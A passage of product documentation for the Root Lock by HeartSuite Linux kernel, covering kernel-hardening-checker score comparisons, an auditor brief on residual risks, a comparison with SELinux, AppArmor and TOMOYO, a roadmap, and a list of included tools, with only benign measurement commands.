Loadable .ko files shippedPending publicationRuntime measurement
modules.builtin entriesPending publicationRuntime measurement
SELinux at runtimePending publication (5.19.6 reference: Permissive, enforce=0)Runtime measurement
Active enforcing MAC LSMHeartSuite (design invariant)Runtime measurement — dmesg enforcement trace
Alt-LSMs (YAMA, LANDLOCK, IMA, EVM, LOCKDOWN_LSM)All disabled (expected; matches 5.19.6 design)Config grep — pending 6.18.9 config publication

Design invariant (unchanged from 5.19.6): HeartSuite is the first and final enforcement authority; competing MAC frameworks are not enabled for enforcement. Runtime proof for 6.18.9 awaits the evidence pack.


Part 4 — CPU mitigations (6.18 naming)

Linux 6.18 uses the post-6.1 CONFIG_MITIGATION_* option names. The checker should report these directly (unlike 5.19.6, where legacy option names caused false FAILs). Published 6.18.9 values will list confirmed =y mitigations from the canonical config.

Mitigation6.18.x option (checker name)HS 6.18.9 value
Spectre v1CONFIG_MITIGATION_SPECTRE_V1Pending publication
Spectre v2CONFIG_MITIGATION_SPECTRE_V2Pending publication
Speculative Store BypassCONFIG_MITIGATION_SPEC_STORE_BYPASSPending publication
RetbleedCONFIG_MITIGATION_RETBLEEDPending publication
IBTCONFIG_MITIGATION_IBTPending publication

Pending publication — engage support for pre-release evidence.


Summary

DimensionHS 6.18.9HS 5.19.6 (published legacy)Arch lh 6.18.x (pending)
Overall checker scorePending publication50.0%Pending publication
Attack-surface reductionPending publication68.9%Pending publication
Exploit-resistancePending publication28.4%Pending publication
Bypass-primitive disables (of 8 key)Pending verify (7/8 expected from design)5/8Pending publication
KEXEC disabledExpected yes (port delta)NoPending publication
IO_URING disabledExpected yes (port delta)NoPending publication
MODULE_SIG enforcedPending publicationNoPending publication
BPF_SYSCALL disabledExpected yesYesPending publication
FUSE/OVERLAY disabledExpected yesYesPending publication
Runtime modules loadedPending publication0Not measured
Config SHA-256 publishedNo (in progress)YesN/A

For the complete published legacy dataset, see Kernel Hardening Comparison Matrix (5.19.6). For publication timeline and pre-release evidence access, see Evidence Status.

15.9 - Kernel Hardening Comparison Matrix

Objective comparison of Root Lock by HeartSuite 5.19.6 kernel configuration against industry hardened kernels and standard references, using kernel-hardening-checker (commit b9b83a0).

Subject: Root Lock by HeartSuite, kernel 5.19.6
Config SHA-256: d67caa637263c33ce939b7eef867f0695d60d11d285d6694a7f5567e73ba6fbc
Tool: kernel-hardening-checker commit b9b83a0, run 2026-05-19
Source file: evidence-pack-5.19.6.txt


Part 1 — Measured comparison (same kernel era)

All three configs below are built from the 5.19.x kernel tree. Checker scores are directly comparable — same Kconfig namespace, same option universe.

ConfigSourceKernelOverallAttack-surfaceExploit-resistance
HS 5.19.6HS canonical config (SHA256: d67caa6…)5.19.6129/258 (50.0%)91/132 (68.9%)31/109 (28.4%)
Arch linux-hardenedgitlab.archlinux.org/archlinux/packaging/packages/linux-hardened @ tag 5.19.11.hardened1-15.19.11158/258 (61.2%)77/132 (58.3%)69/109 (63.3%)
Vanilla x86_64 defconfigBundled in kernel-hardening-checker5.17.1126/258 (48.8%)90/132 (68.2%)29/109 (26.6%)

Reading the table

  • Attack-surface measures how many dangerous kernel features are disabled. Higher = more things turned off.
  • Exploit-resistance measures how many defensive mitigations against memory bugs are enabled. Higher = harder to exploit.
  • These two axes are largely independent and optimized for different threat models.

What this shows

HS leads on attack-surface (91 vs 77 vs 90): it disables BPF_SYSCALL, FUSE_FS, OVERLAY_FS, SECURITY_APPARMOR, SECURITY_TOMOYO, and USER_NS — all of which Arch linux-hardened keeps enabled for its general-purpose user base.

Arch linux-hardened leads on exploit-resistance (69 vs 31): it enables HARDENED_USERCOPY, FORTIFY_SOURCE, INIT_ON_ALLOC_DEFAULT_ON, INIT_ON_FREE_DEFAULT_ON, SLAB_FREELIST_RANDOM, and MODULE_SIG — all absent in HS 5.19.6.

Vanilla defconfig is the baseline: it does about as well as HS on attack-surface (most things aren’t enabled by default) but even worse on exploit-resistance.

Bypass-primitive disables — side by side

OptionHS 5.19.6Arch lh 5.19.11Notes
CONFIG_BPF_SYSCALL=n=yBPF LSM can override all MAC decisions
CONFIG_IO_URING=y=yio_uring bypasses VFS hooks via fget()
CONFIG_FUSE_FS=n=mFUSE allows path-confusion attacks
CONFIG_OVERLAY_FS=n=mOverlay d_path() breaks sandbox lookup
CONFIG_SECURITY_APPARMOR=n=yRedundant LSM adds attack surface
CONFIG_SECURITY_TOMOYO=n=ySame rationale as AppArmor
CONFIG_KEXEC=y=nkexec destroys Lockdown state
CONFIG_MODULE_SIG=n=yUnsigned modules can unload HeartSuite

HS: 5/8 disabled. Arch lh: 3/8 disabled (different 3). Neither disables all eight.

Exploit-resistance mitigations — side by side

MitigationHS 5.19.6Arch lh 5.19.11
INIT_ON_ALLOC_DEFAULT_ON=n=y
INIT_ON_FREE_DEFAULT_ON=n=y
HARDENED_USERCOPY=n=y
FORTIFY_SOURCE=n=y
SLAB_FREELIST_RANDOM=n=y
KFENCE=n=n
RANDSTRUCT_FULL=n=n
KSTACK_ERASE=n=n
MODULE_SIG / MODULE_SIG_FORCE=n / =n=y / =n

Part 2 — Qualitative orientation (cross-project)

These projects were not scored with the checker in this analysis — either because their configs were unavailable for the 5.19 era, because they are paywalled, or because a meaningful config was not locatable. Characterizations are drawn from each project’s public documentation and design goals.

ProjectBypass PreventionExploit ResistanceModule FootprintAvailabilityPrimary Use Case
HeartSuite 5.19.6Very High — BPF/FUSE/OVERLAY/AppArmor/TOMOYO/USER_NS all disabledLow — vanilla upstream baseline~9 modules (measured)CommercialContainment of untrusted code on dedicated appliance
Arch linux-hardened 5.19.11Moderate — keeps BPF, FUSE, AppArmor, USER_NSHigh — HARDENED_USERCOPY, FORTIFY, INIT_ON_ALLOC, SLAB_FREELISTHundredsFree, open-sourceGeneral-purpose hardened desktop/server
NixOS linux_hardenedModerateHighHundredsRemoved from nixpkgs 2025 (lack of maintenance)Was: reproducible hardened NixOS systems
grsecurity / PaXHighVery High — RBAC + PaX heap/stack protectionsLargePaid subscriptionMaximum exploit resistance; enterprise
CLIP OS (ANSSI)High — minimal modules + BPF disabledHigh — KSPP-style mitigations~400Public (archived)Government/high-security Linux platform
Hardened GentooModerateHighLargeFree, open-sourceReproducible hardened Gentoo systems
GrapheneOSHigh — Android-targeted bypass removalVery High — extensive Android hardening patchesAndroid-specificFree, open-sourceHardened Android (not x86/server)
Kicksecure / WhonixLow–ModerateLow–Moderate — mostly OS-level hardening, not kernel patchesStandard DebianFree, open-sourcePrivacy-focused Debian derivative

Notes on the qualitative table:

  • “Bypass Prevention” = removal of subsystems that can circumvent MAC/LSM enforcement.
  • “Exploit Resistance” = mitigations against kernel memory bugs (heap, stack, pointer corruption).
  • NixOS linux_hardened was removed from nixpkgs in 2025 due to lack of maintenance — it is no longer an active project. The bundled config in kernel-hardening-checker (6.12.50-hardened1) is a historical snapshot.
  • CLIP OS: the public CLIP OS project is archived. The ANSSI team published their kernel configs; they are accessible at the archived CLIP OS documentation.
  • grsecurity requires a paid subscription; their config is not publicly available for automated analysis.
  • GrapheneOS targets Android hardware (aarch64); its hardening is not directly applicable to x86 server deployments.

Part 3 — LSM stack and module count (measured)

MetricHS 5.19.6Source
Modules loaded at runtime0 (lsmod empty)Runtime measurement
Loadable .ko files shipped9Runtime measurement
modules.builtin entries334Runtime measurement
SELinux at runtimePermissive (enforce=0)Runtime measurement — /sys/fs/selinux/enforce
Active enforcing MAC LSMHeartSuiteRuntime measurement — dmesg enforcement trace
Alt-LSMs (YAMA, LANDLOCK, IMA, EVM, LOCKDOWN_LSM)All disabledConfig grep

Part 4 — CPU mitigations (5.19.6 naming)

5.19.6 uses pre-6.1 option names. Checker reports these as FAIL (uses the 6.1+ CONFIG_MITIGATION_* names). Mitigations confirmed present:

Mitigation5.19.6 optionValue
Spectre v2 (retpoline)CONFIG_RETPOLINE=y
Return thunkCONFIG_RETHUNK=y
IBPB on kernel entryCONFIG_CPU_IBPB_ENTRY=y
IBRS on kernel entryCONFIG_CPU_IBRS_ENTRY=y
IBT compiler supportCONFIG_CC_HAS_IBT=y

Summary

DimensionHS 5.19.6Arch lh 5.19.11 (era-matched)
Overall checker score50.0%61.2%
Attack-surface reduction68.9%58.3%
Exploit-resistance28.4%63.3%
Bypass-primitive disables (of 8 key)5/83/8 (different set)
KEXEC disabledNoYes
MODULE_SIG enforcedNoYes
BPF_SYSCALL disabledYesNo
FUSE/OVERLAY disabledYesNo
Runtime modules loaded0Not measured

15.10 - Security Auditor Brief: Kernel Hardening Posture

Technical assessment of Root Lock by HeartSuite HS kernel hardening posture for security auditors and red teams — 6.18.9 primary commercial baseline; measured scores and reproduction commands reference the published 5.19.6 legacy stream until 6.18.9 evidence ships.

Subject: Root Lock by HeartSuite HS kernel — 6.18.9 primary (commercial baseline, HeartSuite v1.6.4), 5.19.6 legacy
Evidence status: Published config SHA-256, checker output, and runtime verification exist for the 5.19.6 stream only. The 6.18.9 stream is the current commercial baseline (6.18.9-HeartSuite-1.0); measured evidence is in progress — see Evidence Status.
Primary stream (6.18.9): Kernel Hardening Comparison Matrix (6.18.9) — structure published; scores pending
Legacy stream (5.19.6): Config SHA-256 d67caa637263c33ce939b7eef867f0695d60d11d285d6694a7f5567e73ba6fbc — measured 2026-05-19, kernel-hardening-checker commit b9b83a0comparison matrix, evidence-pack-5.19.6.txt

The threat model and measured sections below describe the published 5.19.6 dataset until evidence-pack-6.18.9.txt replaces them. Design intent for 6.18.9 includes disabling CONFIG_IO_URING and CONFIG_KEXEC (both enabled in 5.19.6).


Threat Model

HeartSuite’s kernel hardening targets one specific threat: a process on the protected system attempting to bypass the kernel module’s VFS-level enforcement. The design choice is to remove the kernel features that make bypass possible, rather than to harden the kernel against general exploitation.


What the measurements show

Attack-surface reduction

Automated score: 91/132 (68.9%)
Reference points (era-matched, same 5.19.x kernel generation): Arch linux-hardened 5.19.11: 77/132 (58.3%). Vanilla upstream defconfig 5.17: 90/132 (68.2%). KSPP target (6.17, version-agnostic intent): 131/132 (99.2%).

HS outperforms production distros and common hardened-distro kernels on this axis. The reason: HS disables BPF_SYSCALL, USER_NS, FUSE_FS, OVERLAY_FS, APPARMOR, TOMOYO, and ~25 additional network/crypto/debug subsystems that Arch and NixOS keep enabled for their general-purpose user bases. These are the subsystems with the most relevant LSM-bypass CVE history.

Caveat: the automated checker scores vanilla 5.17 defconfig at 90/132, nearly identical to HS. This is because the checker does not distinguish intentionally hardened to a value from never configured to begin with. The vanilla defconfig also doesn’t enable BPF or AppArmor by default. The operational difference is enforcement: a production system built on a vanilla defconfig will have these features added over time; HS’s build procedure enforces the disables regardless.

Exploit-resistance (KSPP-style mitigations)

Automated score: 31/109 (28.4%)
Reference points (era-matched): Arch linux-hardened 5.19.11: 69/109 (63.3%). Vanilla upstream defconfig 5.17: 29/109 (26.6%). KSPP target (6.17): 93/109 (85.3%).

HS’s exploit-resistance posture is at the vanilla upstream baseline. It does not add INIT_ON_ALLOC_DEFAULT_ON, HARDENED_USERCOPY, FORTIFY_SOURCE, SLAB_FREELIST_RANDOM, KFENCE, RANDSTRUCT_FULL, KSTACK_ERASE, MODULE_SIG, or the other ~57 KSPP mitigations that dedicated hardened kernels enable.


Residual risks

1. Kernel memory corruption / exploitation
HS provides no additional protection beyond vanilla upstream defaults for heap-based exploits (use-after-free, double-free, type confusion). An attacker who can reach a vulnerable in-kernel code path with sufficient primitive quality has no extra mitigations to contend with beyond STACKPROTECTOR_STRONG, KASLR, RANDOMIZE_MEMORY, and STRICT_KERNEL_RWX — all of which are vanilla defaults.

Attack path: Any reachable kernel vulnerability with reliable heap-layout control.

2. SELinux runtime state — verified permissive
CONFIG_SECURITY_SELINUX=y with CONFIG_DEFAULT_SECURITY_SELINUX=y. SELinux is compiled-in. Runtime verification on the test VM (2026-05-19) shows:

  • /sys/fs/selinux/enforce = 0 — permissive mode, no policy loaded
  • /proc/self/attr/current = kernel — initial context, no confinement active
  • securityfs is not mounted (no /sys/kernel/security/lsm file)

SELinux initializes at boot but does not enforce. HeartSuite is the sole enforcing MAC LSM. dmesg confirms HeartSuite is enforcing within 4 seconds of boot.

Residual note for production: this relies on runtime service configuration keeping SELinux permissive. Verify cat /sys/fs/selinux/enforce = 0 on each production deployment. A loaded SELinux policy that flips to enforcing mode would add a competing LSM to the stack.

3. MODULE_SIG not enforced
CONFIG_MODULE_SIG=n. Kernel module signing is not enforced. A root-level attacker can load an arbitrary unsigned kernel module, including one that unloads or bypasses HeartSuite’s VFS hooks.

Mitigating factor: Lockdown’s kmod block (when engaged) prevents loading additional modules post-Lockdown. This is an operator-procedure-dependent mitigation, not a config-enforced one.


How to reproduce these measurements

Run on any Linux host with Python 3:

# Clone the checker
git clone --depth 1 https://github.com/a13xp0p0v/kernel-hardening-checker /tmp/khc

# Obtain the HS config (from the HS 5.19.6 kernel package)
# Verify: sha256sum config-5.19.6-HeartSuite-1.0
# Expected: d67caa637263c33ce939b7eef867f0695d60d11d285d6694a7f5567e73ba6fbc

# Run
python3 /tmp/khc/bin/kernel-hardening-checker -c config-5.19.6-HeartSuite-1.0

# Expected summary: OK - 129 / FAIL - 129

To verify the bypass-primitive disables directly:

grep -E "^(CONFIG_BPF_SYSCALL|CONFIG_FUSE_FS|CONFIG_OVERLAY_FS|\
CONFIG_SECURITY_APPARMOR|CONFIG_SECURITY_TOMOYO)" \
  config-5.19.6-HeartSuite-1.0

To verify LSM state on a running HeartSuite VM:

cat /sys/kernel/security/lsm
cat /proc/cmdline

15.11 - LSM Comparison: HeartSuite vs SELinux, AppArmor, and TOMOYO

Comparison of Root Lock by HeartSuite’s enforcement model against SELinux, AppArmor, and TOMOYO — focused on bypass-primitive resistance and purpose-fit for containment deployments.

Subject: Root Lock by HeartSuite, kernel 5.19.6
Audience: Security engineers familiar with SELinux, AppArmor, or TOMOYO evaluating HeartSuite for containment or appliance deployments.


The core distinction

SELinux, AppArmor, and TOMOYO all answer the same question: given that a kernel feature is present, what should a process be allowed to do with it?

HeartSuite answers a different question: which kernel features should exist on this system at all?

This is not a claim that one approach is universally superior. For single-purpose containment appliances, removing bypass primitives from the kernel is more reliable than writing policy around them — because policy can be misconfigured, and because certain primitives (BPF, FUSE, overlayfs) can defeat any MAC policy regardless of how carefully it is written.


Comparison Table

DimensionHeartSuite 5.19.6SELinuxAppArmorTOMOYO
Enforcement modelVFS-hook enforcement by purpose-built kernel module; structural (removes capabilities)Type enforcement + MLS; label-based; process and object contextsPath-based MAC; per-program profilesPath-based MAC; learning-mode profiles
Policy languageNone — enforcement is structuralType Enforcement (.te), policy modules, audit2allowProfile language, aa-genprofPathname-based domain rules; built-in learning mode
Policy complexityNone requiredHigh — thousands of rules for a minimal deploymentModerateLow–Moderate
Bypass-primitive removalYes — BPF, FUSE, overlayfs, USER_NS, AppArmor, TOMOYO all disabled in kernelNo — BPF, FUSE, overlayfs, USER_NS presentNo — BPF, FUSE, overlayfs, USER_NS presentNo — BPF, FUSE, overlayfs, USER_NS present
BPF LSM interactionN/A — CONFIG_BPF_SYSCALL=n; BPF does not exist on this systemRoot with CAP_BPF can load BPF programs that return allow on every hook, defeating SELinux at runtimeSame — BPF can programmatically override AppArmor hook decisionsSame — BPF can programmatically override TOMOYO hook decisions
Path-confusion resistanceStructural — FUSE_FS=n, OVERLAY_FS=nPolicy-dependent; FUSE and overlayfs present; path-derived label resolution is susceptible to overlay path confusionDirectly affected — profile matching is path-based; overlayfs and FUSE can present unexpected paths to AppArmorDirectly affected — enforcement is path-based; same exposure as AppArmor
Competing LSM interactionSole enforcing MAC. AppArmor and TOMOYO are kernel-disabled. SELinux (where present) fires after HS and can only add restrictions — see Co-existenceCan stack with other LSMs (Linux 5.1+); interaction correctness depends on policy coordinationCan stack with SELinux, YAMA, othersCan stack; rarely used in stacked configurations
USER_NS exposureCONFIG_USER_NS=n — fake-root environments not possibleUSER_NS present; policy must account for namespace-derived privilegeUSER_NS present; profile model does not natively track namespace contextUSER_NS present
Runtime modules loaded0 loaded (13 available)Depends on distroDepends on distroDepends on distro
Primary use caseSingle-purpose appliance; containment of untrusted codeGeneral-purpose server, government/enterprise multi-user systemsGeneral-purpose desktop/server (Ubuntu/SUSE default)Introspection, auditing, learning-mode policy generation
Policy misconfiguration riskNone — no policy to misconfigureHigh — overly permissive audit2allow output is a well-known deployment failure modeModerateLow (learning mode reduces error)

Bypass primitives: open vs closed

The table below lists the kernel-level bypass vectors most relevant to MAC enforcement. “Closed” means the kernel option is disabled — the attack vector does not exist on the system. “Open” means the feature is present and policy must account for it.

Bypass vectorHeartSuite 5.19.6SELinuxAppArmorTOMOYO
BPF_SYSCALL — programmable LSM hook overrideClosed (=n)OpenOpenOpen
FUSE_FS — path confusion via userspace filesystemClosed (=n)OpenOpenOpen
OVERLAY_FSd_path() mismatch in overlay mountsClosed (=n)OpenOpenOpen
USER_NS — fake root via user namespaceClosed (=n)OpenOpenOpen

An attacker who can reach any “Open” primitive has a path to bypass LSM enforcement regardless of how well the policy is written. HeartSuite closes all four vectors above at the kernel config level.


When SELinux, AppArmor, or TOMOYO is the right choice

HeartSuite is not a general-purpose MAC replacement. Choose SELinux, AppArmor, or TOMOYO when:

  • You are running a general-purpose multi-user system where diverse workloads need fine-grained per-process policy.
  • You require MLS / MCS (Multi-Level Security / Multi-Category Security) for labeled data separation.
  • You need container runtime support that depends on USER_NS or overlayfs (Kubernetes, Docker, Podman, LXC).
  • Your compliance framework mandates a specific named LSM (e.g., STIG-mandated SELinux).
  • You need to audit permitted accesses, not just denials — HeartSuite logs every denied file access, socket connection, and sandbox violation with the specific program path and target resource, but successful accesses are not logged. SELinux and TOMOYO can record both. If a full allowed-access trail is also required, SELinux can run alongside HeartSuite on supported deployments — see Co-existence.

When HeartSuite is the right choice

Choose HeartSuite when:

  • You are deploying a single-purpose appliance running one or a small set of known workloads.
  • Your threat model centers on containment escape — a compromised application attempting to break out of its enforcement boundary.
  • You want zero policy surface — no policy file, no audit2allow, no profile to misconfigure.
  • BPF tooling, container runtimes, FUSE mounts, and user namespaces are not part of the system’s attack surface — they are absent from the kernel, not restricted by policy.
  • You want a violation-focused audit trail: every denied file access, network connection, and sandbox violation is logged with the specific program path and target resource. In Setup Mode, would-be denials are logged and permitted simultaneously — giving full visibility into the policy surface without blocking anything.
  • You want independent verifiability: the kernel config SHA-256 is published and measurements are reproducible with an open-source tool.

Co-existence

HeartSuite does not stack with AppArmor or TOMOYO. Both are kernel-disabled (CONFIG_SECURITY_APPARMOR=n, CONFIG_SECURITY_TOMOYO=n).

SELinux behaves differently depending on the deployment OS:

HeartSuite’s VFS hooks fire before the LSM chain (security_path_*() calls). The ordering means:

  • If HeartSuite denies an operation → the SELinux hook is never reached. HeartSuite is the first and final authority on that call.
  • If HeartSuite allows an operation → SELinux can still deny it. SELinux can only add restrictions to what HeartSuite allows, never grant access HeartSuite denies.

This is intentional and safe. On RHEL/Fedora, SELinux is Enforcing by default; the stacking is additive, not conflicting. On Debian/Ubuntu, no SELinux policy is loaded by default. Either way, HeartSuite’s enforcement cannot be bypassed via the SELinux layer.

RHEL operational note: As with any new kernel module on RHEL, a targeted SELinux policy entry may be needed for HeartSuite’s specific operations. If AVC denials appear, ausearch -m AVC -ts recent | audit2why identifies them and audit2allow generates the targeted module. HeartSuite’s enforcement is unaffected — SELinux operates after HS in the hook chain and cannot override HS decisions.


Further reading

  • Comparison Matrix — Measured kernel-hardening-checker scores: HeartSuite vs Arch linux-hardened vs vanilla defconfig.
  • Auditor Brief — Residual risks, threat model, and self-reproduction instructions.
  • Procurement Brief — Decision guide for buyers choosing between hardened kernel options.

15.12 - Analyst Summary: HeartSuite Kernel Hardening

Plain-language summary of Root Lock by HeartSuite kernel hardening for journalists, analysts, and non-technical reviewers — with fact-checker citations.

Kernel: Root Lock by HeartSuite 5.19.6. Config hash: d67caa637263c33ce939b7eef867f0695d60d11d285d6694a7f5567e73ba6fbc. Measured: 2026-05-19.


HeartSuite’s Linux kernel contains just 9 loadable modules — compared to 3,500 to 4,000 in a standard Debian Linux system. This isn’t because the system is less capable; it’s because the kernel was built for one job and nothing else was included.

The approach extends beyond raw module count. HeartSuite disables specific kernel features that security researchers have identified as the most common paths for bypassing security controls: BPF (a programmable kernel interface), FUSE (user-space filesystems), overlay filesystems, and all competing security policy engines including AppArmor and SELinux. Each of these has been used in documented real-world attacks to escape software sandboxes or override security policies.

On an independent audit using the open-source kernel-hardening-checker tool — the same tool used by Linux kernel security researchers — HeartSuite’s kernel outperforms the Arch Linux hardened kernel on attack-surface measures: 91 out of 132 checks passed by HeartSuite versus 77 out of 132 for Arch linux-hardened (compared on the same 5.19.x kernel generation, making scores directly equivalent). Arch linux-hardened scores lower on this axis because it keeps features like BPF, FUSE, and AppArmor enabled — features that its general-purpose users depend on, but that also provide paths for bypassing security controls.

Where HeartSuite is not strongest: Exploit resistance. When a kernel vulnerability is discovered — a memory bug, a logic flaw — certain protection techniques make it much harder to turn that bug into a working attack. HeartSuite’s kernel does not include most of these techniques, scoring 31 out of 109 checks on this measure. The era-matched Arch linux-hardened kernel (same kernel generation) scores 69 out of 109 on the same tool. HeartSuite is designed to prevent attacks from bypassing its controls — not to harden against every possible kernel vulnerability.

The configuration is publicly verifiable. The SHA-256 hash of the kernel configuration file is published, and any qualified security team can reproduce the measurements above using publicly available tools.


For fact-checkers: All numbers in this summary derive from evidence-pack-5.19.6.txt and kernel-comparison-matrix-5.19.6.md in this same document section. Tool: kernel-hardening-checker at commit b9b83a0. Every claim can be independently reproduced.

16 - Roadmap 2016 — present

See where Root Lock by HeartSuite is headed—kernel-level enforcement that root cannot bypass.

Traditional endpoint security detects threats after they execute. HeartSuite takes the opposite approach: it prevents malware from executing in the first place—at the kernel level, where not even root can override the controls. Even if malware is downloaded to a HeartSuite server, the architecture prevents it from running its harmful commands. That stops zero-day attacks before any signature, rule, or heuristic could catch them.

The five core features that make this possible—program allowlist, Setup Mode and Lockdown, File Backup and Versioning, and Secure Script Launchers—were designed together as a single coherent architecture, not assembled from separate tools. This page traces how that architecture was built, validated, and hardened over time.

The architecture’s foundations reach back to 2016, when Karen Heart first identified that security had become an incoherent patchwork of disconnected tools with no unified design. Years of academic research followed—seven peer-reviewed papers on database security, forensics, and cryptographic erasure—culminating in Zero Day Secure, the book that articulates the problem HeartSuite is built to solve.

Development timeline (2016–2026)

gantt
    title Root Lock by HeartSuite — Development Timeline
    dateFormat YYYY-MM-DD
    axisFormat %m/%Y

    section Research Foundation (2016–2021)
    Problem identified — fragmented security, no coherent solution :done, 2016-01-01, 2016-12-31
    Database Forensic Analysis with DBCarver — CIDR 2017         :done, 2017-01-04, 2017-01-05
    Carving Database Storage — Digital Investigation 2017        :done, 2017-08-01, 2017-08-02
    Detecting Database File Tampering — EDBT 2018                :done, 2018-03-26, 2018-03-27
    DB3F & DF-Toolkit — Digital Investigation 2019               :done, 2019-07-01, 2019-07-02
    DF-Toolkit — VLDB Endowment 2020                             :done, 2020-08-31, 2020-09-01
    Purging Data from Backups — DEXA 2021                        :done, 2021-08-01, 2021-08-02
    Purging Compliance from Backups — CYBER 2021                 :done, 2021-10-03, 2021-10-04

    section Design & Architecture (2021)
    5 core features designed — prevent-before-detect  :done, 2021-01-01, 2021-12-31
    SPF binary format + 4 custom Linux syscalls        :done, 2021-06-01, 2022-03-31
    Patent applications filed                          :done, 2021-09-01, 2022-06-30

    section Kernel Engine (2022)
    APO enforcement engine (Setup Mode + Lockdown)     :done, 2022-01-01, 2022-12-31
    LSM replacement — all competing LSMs disabled      :done, 2022-01-01, 2022-09-30
    eBPF intentionally disabled (BPF verifier surface) :done, 2022-01-01, 2022-09-30
    Network allowlist — IP-literal kernel enforcement  :done, 2022-06-01, 2022-12-31
    APO audit logging                                  :done, 2022-11-01, 2023-01-31

    section Tooling Build-out (2023)
    Backup subsystem                                  :done, 2023-01-01, 2023-06-30
    Shim programs — Python / Perl / PHP               :done, 2023-02-20, 2023-10-25
    Hash-based file versioning (supply-chain defence) :done, 2023-03-01, 2023-07-01
    Management tools — first compiled release (6 bins) :done, 2023-06-01, 2023-07-01
    Lockdown tooling                                  :done, 2023-09-11, 2023-10-31
    APO manager + batch tools + shim manager          :done, 2023-10-01, 2023-11-30
    US Patent 11,822,699 B1                           :done, 2023-11-21, 2023-11-22

    section v1.0 Release (2024)
    Beta installer + setup documentation              :done, 2023-07-31, 2024-01-20
    HeartSuite v1.0 — Linux 5.19.6 released           :done, 2024-01-20, 2024-01-21
    US Patent 11,983,288 B1                           :done, 2024-05-14, 2024-05-15

    section In Production (2024–2025)
    18+ months of continuous deployment        :done, 2024-02-01, 2025-09-30
    Kernel strategy — LTS-only track selected         :done, 2025-08-01, 2025-12-15
    Eight distributions evaluated and targeted        :done, 2025-10-01, 2026-01-31
    Linux 6.18 LTS kernel port                        :done, 2025-11-15, 2025-12-31
    Zero Day Secure — published (Simon & Schuster)    :done, 2025-10-01, 2025-10-02

    section Open-Source Launch (2026 Q1)
    Linux 6.18 LTS          :done, 2026-01-15, 2026-02-24
    Public open-source release — v1.6.2 tagged        :done, 2026-03-05, 2026-03-12
    TUI overlay prototype                             :done, 2026-03-18, 2026-03-26

    section v1.6.4 Multi-Distro (2026 Q2)
    Distro validation gate — 8 distributions          :done, 2026-04-22, 2026-04-26
    GRUB automation + Alpine / OpenRC support         :done, 2026-04-23, 2026-04-29
    v1.6.4 commercial release — kernel 6.18.9         :done, 2026-04-26, 2026-04-27

    section TUI Dashboard (2026 Q2)
    Textual TUI — initial commit                      :done, 2026-04-28, 2026-04-29
    Review queues, cohort grouping, noise filter      :done, 2026-04-28, 2026-05-07
    Alert system — SMTP, PagerDuty, OpsGenie          :done, 2026-04-28, 2026-05-07
    Allowlist management + backup & restore           :done, 2026-05-04, 2026-05-10
    Lockdown auto-engages on every boot               :done, 2026-05-07, 2026-05-12
    Phase 1 unattended install service                :done, 2026-05-12, 2026-05-14

    section In Progress
    Container isolation via microVM — evaluation      :active, 2026-05-14, 2026-09-30

    section Planned
    Java shim launcher                               :2026-07-01, 2026-08-31
    Network allowlist — CIDR and DNS support         :2026-07-01, 2026-09-30
    Backup retention policies                        :2026-07-01, 2026-08-31

Feature details by status

Research foundation (2016–2021)


Design & architecture (2021)


Kernel engine (2022)


Tooling build-out (2023)


v1.0 release (2024)


In production (2024–2025)


Open-source launch — v1.6.2 (2026 Q1)


v1.6.4 multi-distro release (April 2026)


TUI Dashboard (April–May 2026)


Infrastructure + CI (2026)

User-facing features


Testing & verification

Community-driven development

Join the conversation—suggest features, report issues, or discuss the architecture.

Get started

Get Started | Open an Issue

17 - Appendices

List of included Root Lock by HeartSuite tools.

Overview: Root Lock by HeartSuite includes a set of tools for system management, allowlisting, and security enforcement. The Dashboard is where you work day-to-day. Most CLI entries below are run automatically by the system or by the Dashboard, or kept for scripting, recovery, and advanced setup. A normal user does not invoke them directly.

With exception of the Secure Script Launchers, all tools are located in the /.hs/sys directory. The Root Lock by HeartSuite installation routine does NOT add this directory to the PATH environment variable. The Secure Script Launchers are located in /usr/bin because it is in the default PATH. Programs and scripts that write data to Root Lock by HeartSuite databases must be run as root.

Day-to-day

The Dashboard guides you through every phase. These are the main views you use in normal operation.

  • Dashboard — manages Root Lock by HeartSuite. Displays phase progress, pending and denied counts, the protection state indicator, the status line at the bottom, and the Suggested Next Step. Appears automatically on login. Launch it manually with heartsuite.
  • Programs queue ([p]) — review and approve pending program executions (Phase 2) from the Dashboard. Presents items with full metadata, grouped intelligently.
  • File Access queue ([f]) — review and approve pending file accesses (Phase 4) from the Dashboard. Handles read access and write access approvals separately.
  • Internet Access queue ([i]) — review and approve pending internet connections (Phase 5) from the Dashboard. Allows allowlisting specific IPs per program.
  • Allowed ([a]) — browse and edit existing allowlist entries from the Dashboard.
  • Browser View ([w]) — enable or disable browser-based access to Root Lock by HeartSuite via SSH tunnel from the Dashboard.
  • Launchers ([s]) — configure Secure Script Launchers (Phase 3) from the Dashboard.
  • Alert Settings ([e]) — configure alert channels (email, syslog, or webhook) from the Dashboard. At least one channel must be configured before Lockdown activation. See Alert Settings.
  • Lockdown ([l]) — activate Lockdown from the Dashboard. Shows the precondition checklist, observation period summary, and allowlist review. Before typing YES (case-sensitive), the prep shown during Lockdown activation offers per-panel actions: [u] undo auto-narrowed grants (install/kmod/broad), [p] patch install seal paths, [g] restrict rm/cp/mv using observed usage (mitigates file-write tool risks), [x] exclude conflicts, plus SSH/permit controls. The inventory and commitment summaries are read-only and point to the prep for changes. After activation, offers [r] Reboot.
  • Maintenance ([m]) — guided maintenance workflows from the Dashboard. Detects Lockdown status automatically, presents a safety checklist ([c]/[s]), and guides through mode switching or the 3-step Lockdown maintenance process ([u]/[d]/[k]/[f]). Appears only in Lockdown, Lockdown+sealed, and maintenance kernel states — hidden in Setup Mode by design.
  • Backup ([b]) — manage file backup and versioning from the Dashboard. Offers File-first ([f]) and Timeline ([t]) browse modes, date filtering ([d]), batch restore ([b]), directory management ([n] add, [r] remove), and [tab] to switch panels.

Lockdown scripts

These run automatically when you engage or unlock Lockdown via the Dashboard. You do not need to invoke or edit them yourself.

  • HS_lockdown.sh — runs when you press [l] Lockdown → [r] Reboot, and again automatically on every boot. It seals Root Lock by HeartSuite’s configuration so it can’t be changed while the HeartSuite kernel is running, disables common file editors (nano, vim, sed, ed), replaces rm, cp, and mv with restricted copies whose write scope matches what the kernel saw those tools used for during Setup Mode, then engages Lockdown. Deployments where kmod is allowlisted should also complete the steps in Restricting Kernel Module Loading before engaging Lockdown for the first time.
  • HS_unlock.sh — reverses HS_lockdown.sh — it re-enables changes to Root Lock by HeartSuite’s configuration, restores the file editors, and restores rm, cp, and mv to their full versions. The Maintenance runs this for you when you press [u] as part of removing the Lockdown seal. Invoke it yourself only if you need recovery outside the Dashboard.

